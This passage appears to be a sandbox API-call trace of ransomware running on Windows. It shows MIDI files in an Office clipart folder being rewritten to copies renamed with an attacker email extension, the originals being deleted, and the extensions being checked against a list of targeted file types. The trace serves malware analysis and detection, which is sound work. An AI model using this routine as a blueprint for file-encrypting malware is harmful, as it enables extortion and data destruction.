	[0183.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0183.230] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=6764) returned 1
	[0183.230] CloseHandle (hObject=0x514) returned 1
	[0183.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid")) returned 0x220
	[0183.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0183.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0183.230] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.230] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0183.231] GetLastError () returned 0x0
	[0183.231] ReadFile (in: hFile=0x514, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x1a6c, lpOverlapped=0x0) returned 1
	[0183.235] WriteFile (in: hFile=0x36c, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x1a70, lpOverlapped=0x0) returned 1
	[0183.236] ReadFile (in: hFile=0x514, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.236] WriteFile (in: hFile=0x36c, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.236] SetEndOfFile (hFile=0x36c) returned 1
	[0183.236] CloseHandle (hObject=0x36c) returned 1
	[0183.236] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.236] SetEndOfFile (hFile=0x514) returned 1
	[0183.240] CloseHandle (hObject=0x514) returned 1
	[0183.240] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0183.240] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid")) returned 1
	[0183.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0183.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0183.241] lstrlenW (lpString=".doc") returned 4
	[0183.241] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0183.241] lstrlenW (lpString=".docx") returned 5
	[0183.241] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1
	[0183.241] lstrlenW (lpString=".pdf") returned 4
	[0183.241] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0183.241] lstrlenW (lpString=".xls") returned 4
	[0183.241] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0183.241] lstrlenW (lpString=".xlsx") returned 5
	[0183.241] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1
	[0183.241] lstrlenW (lpString=".ppt") returned 4
	[0183.241] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0183.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0183.242] lstrlenW (lpString=".zip") returned 4
	[0183.242] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0183.242] lstrlenW (lpString=".rar") returned 4
	[0183.242] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0183.242] lstrlenW (lpString=".bz2") returned 4
	[0183.242] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0183.242] lstrlenW (lpString=".7z") returned 3
	[0183.242] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0183.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0183.242] lstrlenW (lpString=".dbf") returned 4
	[0183.242] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0183.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0183.242] lstrlenW (lpString=".1cd") returned 4
	[0183.242] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0183.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0183.242] lstrlenW (lpString=".jpg") returned 4
	[0183.242] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0183.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0183.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0183.242] lstrlenW (lpString=".doc") returned 4
	[0183.242] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0183.242] lstrlenW (lpString=".docx") returned 5
	[0183.242] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1
	[0183.242] lstrlenW (lpString=".pdf") returned 4
	[0183.242] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0183.242] lstrlenW (lpString=".xls") returned 4
	[0183.242] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0183.242] lstrlenW (lpString=".xlsx") returned 5
	[0183.242] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1
	[0183.242] lstrlenW (lpString=".ppt") returned 4
	[0183.243] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0183.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0183.243] lstrlenW (lpString=".zip") returned 4
	[0183.243] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0183.243] lstrlenW (lpString=".rar") returned 4
	[0183.243] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0183.243] lstrlenW (lpString=".bz2") returned 4
	[0183.243] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0183.243] lstrlenW (lpString=".7z") returned 3
	[0183.243] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0183.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0183.243] lstrlenW (lpString=".dbf") returned 4
	[0183.243] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0183.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0183.243] lstrlenW (lpString=".1cd") returned 4
	[0183.243] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0183.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0183.243] lstrlenW (lpString=".jpg") returned 4
	[0183.243] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0183.243] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1
	[0183.243] lstrlenW (lpString="PARNT_10.MID") returned 12
	[0183.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0183.246] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=5393) returned 1
	[0183.246] CloseHandle (hObject=0x514) returned 1
	[0183.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid")) returned 0x220
	[0183.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0183.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0183.246] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.246] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0183.247] GetLastError () returned 0x0
	[0183.247] ReadFile (in: hFile=0x514, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x1511, lpOverlapped=0x0) returned 1
	[0183.249] WriteFile (in: hFile=0x36c, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x1520, lpOverlapped=0x0) returned 1
	[0183.250] ReadFile (in: hFile=0x514, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.250] WriteFile (in: hFile=0x36c, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.250] SetEndOfFile (hFile=0x36c) returned 1
	[0183.250] CloseHandle (hObject=0x36c) returned 1
	[0183.250] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.250] SetEndOfFile (hFile=0x514) returned 1
	[0183.253] CloseHandle (hObject=0x514) returned 1
	[0183.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0183.253] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid")) returned 1
	[0183.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0183.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0183.254] lstrlenW (lpString=".doc") returned 4
	[0183.254] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0183.254] lstrlenW (lpString=".docx") returned 5
	[0183.254] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1
	[0183.254] lstrlenW (lpString=".pdf") returned 4
	[0183.254] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0183.254] lstrlenW (lpString=".xls") returned 4
	[0183.254] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0183.254] lstrlenW (lpString=".xlsx") returned 5
	[0183.254] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1
	[0183.254] lstrlenW (lpString=".ppt") returned 4
	[0183.254] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0183.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0183.254] lstrlenW (lpString=".zip") returned 4
	[0183.254] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0183.254] lstrlenW (lpString=".rar") returned 4
	[0183.254] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0183.254] lstrlenW (lpString=".bz2") returned 4
	[0183.254] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0183.254] lstrlenW (lpString=".7z") returned 3
	[0183.255] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0183.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0183.255] lstrlenW (lpString=".dbf") returned 4
	[0183.255] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0183.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0183.255] lstrlenW (lpString=".1cd") returned 4
	[0183.255] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0183.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0183.255] lstrlenW (lpString=".jpg") returned 4
	[0183.255] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0183.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0183.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0183.255] lstrlenW (lpString=".doc") returned 4
	[0183.255] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0183.255] lstrlenW (lpString=".docx") returned 5
	[0183.255] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1
	[0183.255] lstrlenW (lpString=".pdf") returned 4
	[0183.255] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0183.255] lstrlenW (lpString=".xls") returned 4
	[0183.255] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0183.255] lstrlenW (lpString=".xlsx") returned 5
	[0183.255] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1
	[0183.255] lstrlenW (lpString=".ppt") returned 4
	[0183.255] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0183.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0183.255] lstrlenW (lpString=".zip") returned 4
	[0183.255] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0183.255] lstrlenW (lpString=".rar") returned 4
	[0183.255] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0183.255] lstrlenW (lpString=".bz2") returned 4
	[0183.255] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0183.255] lstrlenW (lpString=".7z") returned 3
	[0183.256] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0183.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0183.256] lstrlenW (lpString=".dbf") returned 4
	[0183.256] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0183.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0183.256] lstrlenW (lpString=".1cd") returned 4
	[0183.256] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0183.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0183.256] lstrlenW (lpString=".jpg") returned 4
	[0183.256] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0183.256] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1
	[0183.256] lstrlenW (lpString="ROAD_01.MID") returned 11
	[0183.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0183.315] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=5983) returned 1
	[0183.315] CloseHandle (hObject=0x590) returned 1
	[0183.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid")) returned 0x220
	[0183.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0183.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0183.908] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.908] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0183.909] GetLastError () returned 0x0
	[0183.909] ReadFile (in: hFile=0x5bc, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x175f, lpOverlapped=0x0) returned 1
	[0183.913] WriteFile (in: hFile=0x5ac, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x1760, lpOverlapped=0x0) returned 1
	[0183.914] ReadFile (in: hFile=0x5bc, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.915] WriteFile (in: hFile=0x5ac, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0xea, lpOverlapped=0x0) returned 1
	[0183.915] SetEndOfFile (hFile=0x5ac) returned 1
	[0183.915] CloseHandle (hObject=0x5ac) returned 1
	[0183.915] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.915] SetEndOfFile (hFile=0x5bc) returned 1
	[0183.919] CloseHandle (hObject=0x5bc) returned 1
	[0183.919] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0183.919] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid")) returned 1
	[0183.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0183.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0183.920] lstrlenW (lpString=".doc") returned 4
	[0183.920] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0183.920] lstrlenW (lpString=".docx") returned 5
	[0183.920] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0183.920] lstrlenW (lpString=".pdf") returned 4
	[0183.920] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0183.921] lstrlenW (lpString=".xls") returned 4
	[0183.921] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0183.921] lstrlenW (lpString=".xlsx") returned 5
	[0183.921] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0183.921] lstrlenW (lpString=".ppt") returned 4
	[0183.921] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0183.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0183.921] lstrlenW (lpString=".zip") returned 4
	[0183.921] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0183.921] lstrlenW (lpString=".rar") returned 4
	[0183.921] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0183.921] lstrlenW (lpString=".bz2") returned 4
	[0183.921] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0183.921] lstrlenW (lpString=".7z") returned 3
	[0183.921] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0183.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0183.921] lstrlenW (lpString=".dbf") returned 4
	[0183.921] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0183.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0183.921] lstrlenW (lpString=".1cd") returned 4
	[0183.921] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0183.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0183.921] lstrlenW (lpString=".jpg") returned 4
	[0183.921] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0183.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0183.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0183.921] lstrlenW (lpString=".doc") returned 4
	[0183.921] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0183.922] lstrlenW (lpString=".docx") returned 5
	[0183.922] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0183.922] lstrlenW (lpString=".pdf") returned 4
	[0183.922] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0183.922] lstrlenW (lpString=".xls") returned 4
	[0183.922] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0183.922] lstrlenW (lpString=".xlsx") returned 5
	[0183.922] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0183.922] lstrlenW (lpString=".ppt") returned 4
	[0183.922] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0183.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0183.922] lstrlenW (lpString=".zip") returned 4
	[0183.922] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0183.922] lstrlenW (lpString=".rar") returned 4
	[0183.922] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0183.922] lstrlenW (lpString=".bz2") returned 4
	[0183.922] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0183.922] lstrlenW (lpString=".7z") returned 3
	[0183.922] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0183.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0183.922] lstrlenW (lpString=".dbf") returned 4
	[0183.922] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0183.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0183.922] lstrlenW (lpString=".1cd") returned 4
	[0183.922] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0183.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67
	[0183.922] lstrlenW (lpString=".jpg") returned 4
	[0183.922] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0183.923] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1
	[0183.923] lstrlenW (lpString="SHOW_01.MID") returned 11
